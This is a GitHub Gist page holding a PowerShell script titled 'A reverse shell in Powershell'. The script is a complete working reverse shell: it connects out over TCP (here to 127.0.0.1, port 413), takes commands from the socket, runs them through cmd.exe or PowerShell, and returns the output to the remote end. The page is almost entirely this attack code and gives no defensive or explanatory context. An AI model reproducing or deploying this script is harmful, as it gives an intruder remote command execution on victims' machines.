Created
October 3, 2016 14:49
-
-
Save staaldraad/204928a6004e89553a8d3db0ce527fd5 to your computer and use it in GitHub Desktop.
A reverse shell in Powershell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413); | |
if($socket -eq $null){exit 1} | |
$stream = $socket.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 1024; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do | |
{ | |
$writer.Flush(); | |
$read = $null; | |
$res = "" | |
while($stream.DataAvailable -or $read -eq $null) { | |
$read = $stream.Read($buffer, 0, 1024) | |
} | |
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n",""); | |
if(!$out.equals("exit")){ | |
$args = ""; | |
if($out.IndexOf(' ') -gt -1){ | |
$args = $out.substring($out.IndexOf(' ')+1); | |
$out = $out.substring(0,$out.IndexOf(' ')); | |
if($args.split(' ').length -gt 1){ | |
$pinfo = New-Object System.Diagnostics.ProcessStartInfo | |
$pinfo.FileName = "cmd.exe" | |
$pinfo.RedirectStandardError = $true | |
$pinfo.RedirectStandardOutput = $true | |
$pinfo.UseShellExecute = $false | |
$pinfo.Arguments = "/c $out $args" | |
$p = New-Object System.Diagnostics.Process | |
$p.StartInfo = $pinfo | |
$p.Start() | Out-Null | |
$p.WaitForExit() | |
$stdout = $p.StandardOutput.ReadToEnd() | |
$stderr = $p.StandardError.ReadToEnd() | |
if ($p.ExitCode -ne 0) { | |
$res = $stderr | |
} else { | |
$res = $stdout | |
} | |
} | |
else{ | |
$res = (&"$out" "$args") | out-string; | |
} | |
} | |
else{ | |
$res = (&"$out") | out-string; | |
} | |
if($res -ne $null){ | |
$writer.WriteLine($res) | |
} | |
} | |
}While (!$out.equals("exit")) | |
$writer.close(); | |
$socket.close(); | |
$stream.Dispose() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment